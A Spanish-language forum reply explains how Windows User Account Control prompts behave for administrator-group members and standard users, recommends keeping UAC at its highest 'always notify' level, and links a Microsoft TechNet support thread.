No tiene que ver con privilegios establecidos en un objeto o permisos ni tipos de cuentas. La relación está en que si eres administrador el sistema ya no te sobresaltará tanto con las típicas ventanas de Windows. Me refiero, aquellas que en el momento de instalar alguna aplicación o realizar alguna otra operación en el sistema, aparecen unas ventanas de advertencia, del estilo: Estas seguro que quieres ejecutar xxx? Se requieren permisos de Administrador... (Aceptar o Cancelar) o introducir el usuario y su contraseña con privilegios más altos del sistema.

Pues con el UAC deshabilitado del todo (en su nivel más bajo de seguridad) lo que se consigue es que siendo un usuario normal sin apenas privilegios en el sistema, dichas ventanas no sobresalten. Esto siempre y cuando el dicho usuario esté incluido en el grupo administradores locales del sistema. Si se trata desde otra sesión de usuario en el grupo usuarios por ejemplo la ventana de UAC seguirá mostrándose para elevar dichos privilegios. Como ya dije esto no tiene que ver con permisos (escritura, lectura, ejecución, modificación, etc.).

El UAC básicamente es una tecnología que nos notifica con advertencias de una elevación de privilegios necesaria para la ejecución de algo. Aunque lo podremos configurar el UAC mediante distintos niveles de seguridad indicando como se tiene que comportar ante ciertas advertencias informativas.

Por seguridad es muy recomendado tenerlo en su nivel más alto de seguridad "notificar siempre".

Finalmente, recomiendo este hilo del foro oficial de soporte de Microsoft (social.technet.microsoft.com), en el que Jose Manuel Tella Llop da respuesta a algunos problemas de los usuarios:
http://social.technet.microsoft.com/Forums/es-ES/wcvistaes/thread/95da492a-13bd-405d-a782-e2daffa4b893

Saludos!